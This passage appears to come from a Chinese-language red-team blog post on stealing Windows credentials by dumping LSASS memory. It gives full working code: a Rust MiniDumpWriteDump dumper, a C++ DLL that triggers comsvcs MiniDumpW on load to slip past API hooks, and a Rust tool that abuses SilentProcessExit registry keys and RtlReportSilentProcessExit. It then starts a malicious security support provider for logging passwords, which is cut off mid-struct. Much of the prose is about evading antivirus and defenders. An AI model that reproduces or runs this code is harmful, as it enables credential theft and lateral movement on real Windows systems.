    unsafe{
        let mut handle =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0);
        let mut process_entry : PROCESSENTRY32 = zeroed();
        process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
        // let mut process_handle = null_mut();
    
        if !handle.is_null() {
            if Process32First(handle, &mut process_entry) == 1{
                loop {
                    let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice());
                    println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID);
                    if Process32Next(handle, &mut process_entry) == 0{
                        break;
                    }
                }
            }
        }
    }
    }
    

完整dump lsass进程内存的代码

use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getProcess(LsassFile : &str) {

    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with("lsass.exe"){
                println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        let lsass_pid = process_entry.th32ProcessID;
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
        if process_handle == 0 {
            println!("Fail to open the process ");
        }
        let lsassFile = LsassFile;
        let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
        let lsasshandle = CreateFileW(
            lsassFile.as_ptr() as *const u16,
            GENERIC_ALL,
            0,
            ptr::null_mut(),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0,
        );
        if lsasshandle == INVALID_HANDLE_VALUE {
            println!("Fail to open/create file {:?}",LsassFile.to_string());
        }
        let result = MiniDumpWriteDump(
            process_handle,
            lsass_pid,
            lsasshandle,
            MiniDumpWithFullMemory,
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
        );
        println!("{:?}",result);
        if result == 1
        {
            println!("Dump successful with file  {:?}",LsassFile.to_string());
        } else {
            println!("Dump error {:?}", GetLastError());
        }
        let status = CloseHandle(lsasshandle);
        if status != 1 {
            error!("Fail to Close file handle");
        }
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    getProcess(out_file);

}

当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。

编写Dump Lsass的DLL(yes)

其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是

  • 获取Debug权限
  • 找到lsass的PID
  • 使用MiniDump或MiniDumpWriteDump进行内存dump

首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:

NTSTATUS RtlAdjustPrivilege(
  ULONG               Privilege,
  BOOLEAN             Enable,
  BOOLEAN             CurrentThread,
  PBOOLEAN            Enabled
);

函数说明:

RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。

参数说明:

  • Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
  • Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
  • CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
  • Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。

返回值:

  • 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。

需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。

我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。
所以提升权限可以这样写

void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                std::cout << "Token privileges adjusted successfully" << std::endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                std::cout << "AdjustTokenPrivileges faile" << std:endl;
            }
        }
        else {
            std::cout << "LookupPrivilegeValue faile" << std::endl;
        }
    }
    else {
        std::cout << "OpenProcessToken faile" << std::endl;
    }

}

再配合上获取lsass进程pid和dump 进程后完整代码就是

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}
void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                cout << "Token privileges adjusted successfully" << endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                cout << "AdjustTokenPrivileges faile" << endl;
            }
        }
        else {
            cout << "LookupPrivilegeValue faile" << endl;
        }
    }
    else {
        cout << "OpenProcessToken faile" << endl;
    }

}
void DumpLsass()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    cout << "GetProcAddress MiniDumpW success" << endl;
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");   

    getPrivilege();

    MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DumpLsass();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int main() {
    DumpLsass();
}

SilentProcessExit进行Dump

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

优点:系统正常行为
缺点:需要写注册表

该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:

  • (1)被监控进程调用 ExitProcess() 终止自身;
  • (2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件

但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称               类型               数据
DumpType            REG_DWORD     完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder     REG_SZ        (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD)    REG_DWORD   a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
                                              b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
                                              c)NOTIFICATION (0x4) – 显示弹窗。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称              类型          数据
GlobalFlag      REG_DWORD     0x200

另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。

这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。
kgmsmtjnu1v13127.png

关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:


NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

所以最终的流程就是类似如图
hebghaq1y3013128.png

作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit

这里使用的是第一种方式来实现的。
代码 https://github.com/haoami/RustHashDump

use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS;

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getPid(ProcessName : &str) -> u32{
    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with(ProcessName){

                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        process_entry.th32ProcessID
    }
}
fn setRegisterRegs() {
    unsafe{
        let key = HKEY_LOCAL_MACHINE;
        let  IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe";
        let  SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe";

        let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>();
        let mut hKey = HKEY::default();

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0   {
            println!("{:?}",ret);
            println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let DumpTypekey = CString::new("DumpType").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            DumpTypekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            DumpTypevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe  ERROR\n");
        }

        let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let ReportingModekey = CString::new("ReportingMode").unwrap();

        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            ReportingModevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let ReportingModevalue = "C:\\temp" ;
        let ReportingModekey = CString::new("LocalDumpFolder").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_SZ,
            ReportingModevalue.as_ptr(),
            ReportingModevalue.len() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0  {
            println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY);
        }

        let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ;
        let GlobalFlagkey = CString::new("GlobalFlag").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            GlobalFlagkey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            GlobalFlagvalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }
        println!("SetRegistryReg successful!");
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    // getProcess(out_file);
    getPrivilege(unsafe { GetCurrentProcess() });
    setRegisterRegs();
    let lsassPid = getPid("lsass.exe");
    let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) };
    if process_handle == 0 {
        println!("Fail to open the Lsassprocess ");
    }
    unsafe{
        let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect();
        let h_nt_mod =  GetModuleHandleW(ntdll_module_name.as_ptr());

        if h_nt_mod ==0 {
            println!(" - 获取NTDLL模块句柄失败");

        }
        let function_name = CString::new("RtlReportSilentProcessExit").unwrap();

        let FnRtlreportSilentProcessExit  = GetProcAddress(
            h_nt_mod, 
            function_name.as_ptr() as *const u8).expect("") ;
        let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit);
        let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
        let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid);
        if h_lsass_proc == 0 {
            println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError());
        }
        println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32);

        let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0);
        if ntstatus == 0{
            println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n");
        }else {
            println!("FnRtlreportSilentProcessExit error!");
        }
    }

}

添加自定义的SSP

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

官方解释
455rnxsud3q13129.png
在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。

(1) 使用MemSSP对lsass进行patch

优点:

  • 不需要重启服务器
  • Lsass进程中不会出现可疑的DLL
    缺点:
  • 需要调用WriteProcessMemory对lsass进行操作,可能会被标记

(2) 使用AddSecurityPackage加载SSP

优点:

  • 可以绕过部分杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
    缺点:
  • 需要写注册表
  • 需要将SSP的dll拷贝到system32下
  • Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL

(3) 通过RPC加载SSP

优点:

  • 可以绕过杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
  • 不需要写注册表
    缺点:
  • 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)

这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization

使用AddSecurityPackage加载SSP

完整代码在 https://github.com/haoami/RustSSPdumpHash
lib如下

use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File};
use windows::{
    Win32::{
        Security::{
            Authentication::Identity::{ 
                SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW
            }, 
            Foundation::{NTSTATUS, STATUS_SUCCESS, PSID}
        }, core::PWSTR
    };
use windows::core::Result;
use windows::core::Error;

pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>;

#[repr(C)]
pub struct SECPKG_FUNCTION_TABLE {
    pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE,
    pub LogonUserA: PLSA_AP_LOGON_USER,
    pub CallPackage: PLSA_AP_CALL_PACKAGE,
    pub LogonTerminated: PLSA_AP_LOGON_TERMINATED,
    pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE,
    pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH,
    pub LogonUserExA: PLSA_AP_LOGON_USER_EX,
    pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2,
    pub Initialize: SpInitializeFn,
    pub Shutdown: SpShutdownFn,
    pub GetInfo: SpGetInfoFn,
    pub AcceptCredentials: SpAcceptCredentialsFn,
    pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn,
    pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn,
    pub FreeCredentialsHandle: SpFreeCredentialsHandleFn,
    pub SaveCredentials: SpSaveCredentialsFn,
    pub GetCredentials: SpGetCredentialsFn,
    pub DeleteCredentials: SpDeleteCredentialsFn,
